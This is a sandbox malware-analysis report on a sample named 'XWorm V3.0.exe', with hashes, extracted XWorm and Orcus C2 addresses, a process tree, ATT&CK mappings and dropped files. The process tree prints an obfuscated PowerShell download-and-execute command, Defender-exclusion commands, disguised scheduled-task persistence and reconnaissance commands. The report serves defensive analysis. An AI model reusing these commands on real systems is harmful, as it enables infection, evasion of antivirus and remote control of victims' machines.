Overview

overview

10

Static

static

3

XWorm V3.0.exe

windows7-x64

10

XWorm V3.0.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16-07-2024 01:03

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    XWorm V3.0.exe

  • Size

    19.3MB

  • MD5

    d7e85bc99cb79b98d64a6d4b8b7d041b

  • SHA1

    137f70c449be88103e4f1abfa80658ccbd9ba3f9

  • SHA256

    8dd83abb25a341413e009b4b6b0b12582382d99bc2f3d2b0d07c95bf3b8c0c81

  • SHA512

    c35a74526edee423254a4335946a9d447c95a31a4acb9923ee667d074f9c4f84d0d5f6cf22bc6a23012ebe04ef4d6ad43bd2e55dc287d4dfe52a5d9b71f8d4f1

  • SSDEEP

    393216:JZgqzDlLO/uc+9bPugF7cp4rTKiSVbafhkCvBeLfhfzm:JqctO/k9bPugypcKtVGhkckfBy

Score
10/10
orcusxwormexecutionpersistenceprivilege_escalationpyinstallerratspywarestealertrojanupx

Malware Config

Extracted

Family

xworm

C2

147.185.221.18:47186

147.185.221.18:43279

147.185.221.18:45497

147.185.221.18:24123

147.185.221.18:41609
Attributes
  • Install_directory

    %AppData%

  • install_file

    svhost.exe

Extracted

Family

orcus

C2

147.185.221.18:43279

Mutex

1a3206b13a7141d7a10982ddf15a2503

Attributes
  • autostart_method

    Registry

  • enable_keylogger

    false

  • install_path

    %programfiles%\Orcus\Orcus.exe

  • reconnect_delay

    10000

  • registry_keyname

    Orcus

  • taskscheduler_taskname

    Orcus

  • watchdog_path

    AppData\OrcusWatchdog.exe

Signatures

  • Detect Xworm Payload 10 IoCs
  • Orcus

    Orcus is a Remote Access Trojan that is being sold on underground forums.

    ratspywarestealerorcus
  • Orcus main payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Orcurs Rat Executable 2 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 21 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Downloads MZ/PE file
  • .NET Reactor proctector 1 IoCs

    Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

  • Checks computer location settings 2 TTPs 8 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 9 IoCs
  • Executes dropped EXE 19 IoCs
  • Loads dropped DLL 58 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • UPX packed file 64 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Adds Run key to start application 2 TTPs 6 IoCs
    persistence
  • Drops desktop.ini file(s) 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
  • Looks up external IP address via web service 5 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in Program Files directory 3 IoCs
  • Drops file in Windows directory 3 IoCs
  • Detects Pyinstaller 1 IoCs
    pyinstaller
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\XWorm V3.0.exe
    "C:\Users\Admin\AppData\Local\Temp\XWorm V3.0.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2360
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\XWorm_V3.0.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2976
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProf"i"le -Executio"n"Policy B"y"pass -Window"S"tyle Hidden -Co"m"mand "Inv"o"ke-W"e"bRequest -Uri 'https://github.com/GoldHourse/OPTIMIZER/raw/main/XWorm_V3.0.exe' -Ou"t"File 'XWorm_V3.0.exe';" "Start-Process -FilePath 'XWorm_V3.0.exe'"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1148
        • C:\Users\Admin\AppData\Local\Temp\XWorm_V3.0.exe
          "C:\Users\Admin\AppData\Local\Temp\XWorm_V3.0.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of FindShellTrayWindow
          PID:5268
    • C:\Users\Admin\AppData\Roaming\XWorm V3.0.exe
      "C:\Users\Admin\AppData\Roaming\XWorm V3.0.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1108
      • C:\Users\Admin\AppData\Roaming\1.exe
        "C:\Users\Admin\AppData\Roaming\1.exe"
        3⤵
        • Checks computer location settings
        • Drops startup file
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:3880
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\1.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3104
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '1.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:452
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\Discord.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:3088
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Discord.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:5376
        • C:\Windows\System32\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Discord" /tr "C:\ProgramData\Discord.exe"
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1728
      • C:\Users\Admin\AppData\Roaming\2.exe
        "C:\Users\Admin\AppData\Roaming\2.exe"
        3⤵
        • Checks computer location settings
        • Drops startup file
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1976
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\2.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3804
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '2.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3272
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\svhost.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:4324
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svhost.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:5312
        • C:\Windows\System32\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\svhost.exe"
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4944
      • C:\Users\Admin\AppData\Roaming\3.exe
        "C:\Users\Admin\AppData\Roaming\3.exe"
        3⤵
        • Checks computer location settings
        • Drops startup file
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:3332
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\3.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4968
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '3.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3548
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\discord.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:4984
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'discord.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:5344
        • C:\Windows\System32\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "discord" /tr "C:\Users\Admin\AppData\Roaming\discord.exe"
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2116
      • C:\Users\Admin\AppData\Roaming\4.exe
        "C:\Users\Admin\AppData\Roaming\4.exe"
        3⤵
        • Checks computer location settings
        • Drops startup file
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4724
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\4.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1900
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '4.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4664
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Discord_Update.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:4580
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Discord_Update.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:5424
        • C:\Windows\System32\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Discord_Update" /tr "C:\Users\Admin\AppData\Roaming\Discord_Update.exe"
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:940
      • C:\Users\Admin\AppData\Roaming\5.exe
        "C:\Users\Admin\AppData\Roaming\5.exe"
        3⤵
        • Checks computer location settings
        • Drops startup file
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4840
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\5.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3184
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '5.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3840
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\WindowsDefender.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:3264
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'WindowsDefender.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:5300
        • C:\Windows\System32\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "WindowsDefender" /tr "C:\Users\Admin\AppData\Roaming\WindowsDefender.exe"
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:5148
      • C:\Users\Admin\AppData\Roaming\6.exe
        "C:\Users\Admin\AppData\Roaming\6.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Drops desktop.ini file(s)
        • Drops file in Program Files directory
        • Drops file in Windows directory
        • Suspicious use of WriteProcessMemory
        PID:2256
        • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xfxrmibg.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4580
          • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESDDFD.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCDDFC.tmp"
            5⤵
              PID:1020
          • C:\Program Files\Orcus\Orcus.exe
            "C:\Program Files\Orcus\Orcus.exe"
            4⤵
            • Executes dropped EXE
            • Adds Run key to start application
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SendNotifyMessage
            PID:2052
        • C:\Users\Admin\AppData\Roaming\7.exe
          "C:\Users\Admin\AppData\Roaming\7.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:2600
          • C:\Users\Admin\AppData\Roaming\7.exe
            "C:\Users\Admin\AppData\Roaming\7.exe"
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4788
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "ver"
              5⤵
                PID:4360
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:1632
                • C:\Windows\System32\wbem\WMIC.exe
                  C:\Windows\System32\wbem\WMIC.exe csproduct get uuid
                  6⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:232
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:4860
                • C:\Windows\System32\wbem\WMIC.exe
                  C:\Windows\System32\wbem\WMIC.exe csproduct get uuid
                  6⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:244
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"
                5⤵
                  PID:4868
                  • C:\Windows\System32\wbem\WMIC.exe
                    C:\Windows\System32\wbem\WMIC.exe csproduct get uuid
                    6⤵
                      PID:1020
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
                    5⤵
                      PID:2300
                      • C:\Windows\system32\netsh.exe
                        netsh wlan show profiles
                        6⤵
                        • Event Triggered Execution: Netsh Helper DLL
                        PID:5904
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
                      5⤵
                        PID:2188
                        • C:\Windows\system32\netsh.exe
                          netsh wlan show profiles
                          6⤵
                          • Event Triggered Execution: Netsh Helper DLL
                          PID:4868
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
                        5⤵
                          PID:1364
                          • C:\Windows\system32\netsh.exe
                            netsh wlan show profiles
                            6⤵
                            • Event Triggered Execution: Netsh Helper DLL
                            PID:4728
                • C:\Windows\system32\taskmgr.exe
                  "C:\Windows\system32\taskmgr.exe" /7
                  1⤵
                  • Checks SCSI registry key(s)
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious behavior: GetForegroundWindowSpam
                  • Suspicious use of FindShellTrayWindow
                  • Suspicious use of SendNotifyMessage
                  PID:5680
                • C:\Users\Admin\AppData\Roaming\WindowsDefender.exe
                  C:\Users\Admin\AppData\Roaming\WindowsDefender.exe
                  1⤵
                  • Executes dropped EXE
                  PID:1520
                • C:\Users\Admin\AppData\Roaming\svhost.exe
                  C:\Users\Admin\AppData\Roaming\svhost.exe
                  1⤵
                  • Executes dropped EXE
                  PID:5596
                • C:\Users\Admin\AppData\Roaming\Discord_Update.exe
                  C:\Users\Admin\AppData\Roaming\Discord_Update.exe
                  1⤵
                  • Executes dropped EXE
                  PID:5124
                • C:\ProgramData\Discord.exe
                  C:\ProgramData\Discord.exe
                  1⤵
                  • Executes dropped EXE
                  PID:1552
                • C:\Users\Admin\AppData\Roaming\WindowsDefender.exe
                  C:\Users\Admin\AppData\Roaming\WindowsDefender.exe
                  1⤵
                  • Executes dropped EXE
                  PID:4044
                • C:\ProgramData\Discord.exe
                  C:\ProgramData\Discord.exe
                  1⤵
                  • Executes dropped EXE
                  PID:5128
                • C:\Users\Admin\AppData\Roaming\svhost.exe
                  C:\Users\Admin\AppData\Roaming\svhost.exe
                  1⤵
                  • Executes dropped EXE
                  PID:5472
                • C:\Users\Admin\AppData\Roaming\Discord_Update.exe
                  C:\Users\Admin\AppData\Roaming\Discord_Update.exe
                  1⤵
                  • Executes dropped EXE
                  PID:5460

                Network

                MITRE ATT&CK Enterprise v15

                Reconnaissance

                Resource Development

                Initial Access

                Execution

                Command and Scripting Interpreter

                1
                T1059

                PowerShell

                1
                T1059.001

                Scheduled Task/Job

                1
                T1053

                Scheduled Task

                1
                T1053.005

                Persistence

                Boot or Logon Autostart Execution

                1
                T1547

                Registry Run Keys / Startup Folder

                1
                T1547.001

                Event Triggered Execution

                1
                T1546

                Netsh Helper DLL

                1
                T1546.007

                Scheduled Task/Job

                1
                T1053

                Scheduled Task

                1
                T1053.005

                Privilege Escalation

                Boot or Logon Autostart Execution

                1
                T1547

                Registry Run Keys / Startup Folder

                1
                T1547.001

                Event Triggered Execution

                1
                T1546

                Netsh Helper DLL

                1
                T1546.007

                Scheduled Task/Job

                1
                T1053

                Scheduled Task

                1
                T1053.005

                Defense Evasion

                Modify Registry

                1
                T1112

                Credential Access

                Unsecured Credentials

                1
                T1552

                Credentials In Files

                1
                T1552.001

                Discovery

                Peripheral Device Discovery

                1
                T1120

                Query Registry

                3
                T1012

                System Information Discovery

                3
                T1082

                Lateral Movement

                Collection

                Data from Local System

                1
                T1005

                Command and Control

                Web Service

                1
                T1102

                Exfiltration

                Impact

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\XWorm V3.0.exe.log
                  Filesize

                  654B

                  MD5

                  2ff39f6c7249774be85fd60a8f9a245e

                  SHA1

                  684ff36b31aedc1e587c8496c02722c6698c1c4e

                  SHA256

                  e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

                  SHA512

                  1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\XWorm_V3.0.exe
                  Filesize

                  7.1MB

                  MD5

                  71b0bb52ae4137c3e40dc802711e2acc

                  SHA1

                  e154869a5725806c2b12866479be8cf326d52116

                  SHA256

                  d1b0cb76d6ff1e54e5669cc3ba76ba6224be19e721cc61a9e223a596a9bb332f

                  SHA512

                  eea4513a347d9b2a5ee700388c34d9677869702384128b57e3299cff277b585fd713f4b44830c79da2b74ecc138d99c8aec9b4757d9dda6d3fa475a1dfdb6588

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\_MEI26002\VCRUNTIME140.dll
                  Filesize

                  106KB

                  MD5

                  870fea4e961e2fbd00110d3783e529be

                  SHA1

                  a948e65c6f73d7da4ffde4e8533c098a00cc7311

                  SHA256

                  76fdb83fde238226b5bebaf3392ee562e2cb7ca8d3ef75983bf5f9d6c7119644

                  SHA512

                  0b636a3cdefa343eb4cb228b391bb657b5b4c20df62889cd1be44c7bee94ffad6ec82dc4db79949edef576bff57867e0d084e0a597bf7bf5c8e4ed1268477e88

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\_MEI26002\VCRUNTIME140_1.dll
                  Filesize

                  48KB

                  MD5

                  bba9680bc310d8d25e97b12463196c92

                  SHA1

                  9a480c0cf9d377a4caedd4ea60e90fa79001f03a

                  SHA256

                  e0b66601cc28ecb171c3d4b7ac690c667f47da6b6183bff80604c84c00d265ab

                  SHA512

                  1575c786ac3324b17057255488da5f0bc13ad943ac9383656baf98db64d4ec6e453230de4cd26b535ce7e8b7d41a9f2d3f569a0eff5a84aeb1c2f9d6e3429739

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\_MEI26002\_bz2.pyd
                  Filesize

                  47KB

                  MD5

                  758fff1d194a7ac7a1e3d98bcf143a44

                  SHA1

                  de1c61a8e1fb90666340f8b0a34e4d8bfc56da07

                  SHA256

                  f5e913a9f2adf7d599ea9bb105e144ba11699bbcb1514e73edcf7e062354e708

                  SHA512

                  468d7c52f14812d5bde1e505c95cb630e22d71282bda05bf66324f31560bfa06095cf60fc0d34877f8b361ccd65a1b61d0fd1f91d52facb0baf8e74f3fed31cc

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\_MEI26002\_ctypes.pyd
                  Filesize

                  56KB

                  MD5

                  6ca9a99c75a0b7b6a22681aa8e5ad77b

                  SHA1

                  dd1118b7d77be6bb33b81da65f6b5dc153a4b1e8

                  SHA256

                  d39390552c55d8fd4940864905cd4437bc3f8efe7ff3ca220543b2c0efab04f8

                  SHA512

                  b0b5f2979747d2f6796d415dd300848f32b4e79ede59827ac447af0f4ea8709b60d6935d09e579299b3bc54b6c0f10972f17f6c0d1759c5388ad5b14689a23fe

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\_MEI26002\_decimal.pyd
                  Filesize

                  103KB

                  MD5

                  eb45ea265a48348ce0ac4124cb72df22

                  SHA1

                  ecdc1d76a205f482d1ed9c25445fa6d8f73a1422

                  SHA256

                  3881f00dbc4aadf9e87b44c316d93425a8f6ba73d72790987226238defbc7279

                  SHA512

                  f7367bf2a2d221a7508d767ad754b61b2b02cdd7ae36ae25b306f3443d4800d50404ac7e503f589450ed023ff79a2fb1de89a30a49aa1dd32746c3e041494013

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\_MEI26002\_lzma.pyd
                  Filesize

                  84KB

                  MD5

                  abceeceaeff3798b5b0de412af610f58

                  SHA1

                  c3c94c120b5bed8bccf8104d933e96ac6e42ca90

                  SHA256

                  216aa4bb6f62dd250fd6d2dcde14709aa82e320b946a21edeec7344ed6c2c62e

                  SHA512

                  3e1a2eb86605aa851a0c5153f7be399f6259ecaad86dbcbf12eeae5f985dc2ea2ab25683285e02b787a5b75f7df70b4182ae8f1567946f99ad2ec7b27d4c7955

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\_MEI26002\_queue.pyd
                  Filesize

                  24KB

                  MD5

                  0d267bb65918b55839a9400b0fb11aa2

                  SHA1

                  54e66a14bea8ae551ab6f8f48d81560b2add1afc

                  SHA256

                  13ee41980b7d0fb9ce07f8e41ee6a309e69a30bbf5b801942f41cbc357d59e9c

                  SHA512

                  c2375f46a98e44f54e2dd0a5cc5f016098500090bb78de520dc5e05aef8e6f11405d8f6964850a03060caed3628d0a6303091cba1f28a0aa9b3b814217d71e56

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\_MEI26002\_socket.pyd
                  Filesize

                  41KB

                  MD5

                  afd296823375e106c4b1ac8b39927f8b

                  SHA1

                  b05d811e5a5921d5b5cc90b9e4763fd63783587b

                  SHA256

                  e423a7c2ce5825dfdd41cfc99c049ff92abfb2aa394c85d0a9a11de7f8673007

                  SHA512

                  95e98a24be9e603b2870b787349e2aa7734014ac088c691063e4078e11a04898c9c547d6998224b1b171fc4802039c3078a28c7e81d59f6497f2f9230d8c9369

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\_MEI26002\_ssl.pyd
                  Filesize

                  60KB

                  MD5

                  1e643c629f993a63045b0ff70d6cf7c6

                  SHA1

                  9af2d22226e57dc16c199cad002e3beb6a0a0058

                  SHA256

                  4a50b4b77bf9e5d6f62c7850589b80b4caa775c81856b0d84cb1a73d397eb38a

                  SHA512

                  9d8cd6e9c03880cc015e87059db28ff588881679f8e3f5a26a90f13e2c34a5bd03fb7329d9a4e33c4a01209c85a36fc999e77d9ece42cebdb738c2f1fd6775af

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\_MEI26002\_uuid.pyd
                  Filesize

                  21KB

                  MD5

                  81dfa68ca3cb20ced73316dbc78423f6

                  SHA1

                  8841cf22938aa6ee373ff770716bb9c6d9bc3e26

                  SHA256

                  d0cb6dd98a2c9d4134c6ec74e521bad734bc722d6a3b4722428bf79e7b66f190

                  SHA512

                  e24288ae627488251682cd47c1884f2dc5f4cd834d7959b9881e5739c42d91fd0a30e75f0de77f5b5a0d63d9baebcafa56851e7e40812df367fd433421c0ccdb

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\_MEI26002\base_library.zip
                  Filesize

                  812KB

                  MD5

                  524a85217dc9edc8c9efc73159ca955d

                  SHA1

                  a4238cbde50443262d00a843ffe814435fb0f4e2

                  SHA256

                  808549964adb09afafb410cdc030df4813c5c2a7276a94e7f116103af5de7621

                  SHA512

